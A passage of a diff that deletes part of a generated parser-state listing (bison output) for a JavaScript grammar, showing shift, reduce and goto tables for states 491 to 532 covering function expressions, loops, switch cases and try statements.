-  ExprNoBF      go to state 64
-  FunctionBody  go to state 514
-  SourceElements  go to state 468
-
-state 491
-
-  32) Property : IDENT IDENT "(" ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  FunctionBody  go to state 515
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  SourceElements  go to state 468
-
-state 492
-
-  33) Property : IDENT IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 516
-
-
-state 493
-
- 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 287 (FunctionExpr)
-
-
-state 494
-
- 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 517
-
-
-state 495
-
- 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 518
-
-
-state 496
-
- 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  FunctionBody  go to state 519
-  SourceElements  go to state 468
-
-state 497
-
- 242) IfStatement : IF "(" Expr ")" Statement ELSE Statement _
-
-  $default      reduce using rule 242 (IfStatement)
-
-
-state 498
-
- 243) IterationStatement : DO Statement WHILE "(" Expr ")" ";" _
-
-  $default      reduce using rule 243 (IterationStatement)
-
-
-state 499
-
- 244) IterationStatement : DO Statement WHILE "(" Expr ")" error _
-
-  $default      reduce using rule 244 (IterationStatement)
-
-
-state 500
-
- 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" Statement _
-
-  $default      reduce using rule 248 (IterationStatement)
-
-
-state 501
-
- 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn _
-
-  $default      reduce using rule 192 (ConditionalExprNoIn)
-
-
-state 502
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt _ ")" Statement
-
-  ")"           shift, and go to state 520
-
-
-state 503
-
- 229) VariableDeclarationNoIn : IDENT InitializerNoIn _
-
-  $default      reduce using rule 229 (VariableDeclarationNoIn)
-
-
-state 504
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" _ ExprOpt ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  $default      reduce using rule 251 (ExprOpt)
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 451
-  ExprOpt       go to state 521
-
-state 505
-
- 214) Expr : Expr _ "," AssignmentExpr
- 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr _ ")" Statement
-
-  ")"           shift, and go to state 522
-  ","           shift, and go to state 213
-
-
-state 506
-
- 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 523
-
-state 507
-
- 269) CaseBlock : "{" CaseClausesOpt "}" _
-
-  $default      reduce using rule 269 (CaseBlock)
-
-
-state 508
-
- 270) CaseBlock : "{" CaseClausesOpt DefaultClause _ CaseClausesOpt "}"
-
-  CASE          shift, and go to state 487
-  $default      reduce using rule 271 (CaseClausesOpt)
-
-  CaseClausesOpt  go to state 524
-  CaseClauses   go to state 485
-  CaseClause    go to state 486
-
-state 509
-
- 276) DefaultClause : DEFAULT _ ":" SourceElements
-
-  ":"           shift, and go to state 525
-
-
-state 510
-
- 274) CaseClauses : CaseClauses CaseClause _
-
-  $default      reduce using rule 274 (CaseClauses)
-
-
-state 511
-
- 214) Expr : Expr _ "," AssignmentExpr
- 275) CaseClause : CASE Expr _ ":" SourceElements
-
-  ":"           shift, and go to state 526
-  ","           shift, and go to state 213
-
-
-state 512
-
- 281) TryStatement : TRY Block CATCH "(" IDENT ")" Block _
- 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block _ FINALLY Block
-
-  FINALLY       shift, and go to state 527
-  $default      reduce using rule 281 (TryStatement)
-
-
-state 513
-
- 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 285 (FunctionDeclaration)
-
-
-state 514
-
- 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 528
-
-
-state 515
-
-  32) Property : IDENT IDENT "(" ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 529
-
-
-state 516
-
-  33) Property : IDENT IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  FunctionBody  go to state 530
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  SourceElements  go to state 468
-
-state 517
-
- 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 288 (FunctionExpr)
-
-
-state 518
-
- 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 289 (FunctionExpr)
-
-
-state 519
-
- 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 531
-
-
-state 520
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 532
-
-state 521
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt _ ")" Statement
-
-  ")"           shift, and go to state 533
-
-
-state 522
-
- 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 534
-
-state 523
-
- 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" Statement _
-
-  $default      reduce using rule 249 (IterationStatement)
-
-
-state 524
-
- 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt _ "}"
-
-  "}"           shift, and go to state 535
-
-
-state 525
-
- 276) DefaultClause : DEFAULT ":" _ SourceElements
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  SourceElements  go to state 536
-
-state 526
-
- 275) CaseClause : CASE Expr ":" _ SourceElements
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  SourceElements  go to state 537
-
-state 527
-
- 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY _ Block
-
-  "{"           shift, and go to state 65
-
-  Block         go to state 538
-
-state 528
-
- 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 286 (FunctionDeclaration)
-
-
-state 529
-
-  32) Property : IDENT IDENT "(" ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 32 (Property)
-
-
-state 530
-
-  33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}"
-
-  "}"           shift, and go to state 539
-
-
-state 531
-
- 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 290 (FunctionExpr)
-
-
-state 532
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement _
-
-  $default      reduce using rule 246 (IterationStatement)
-
-
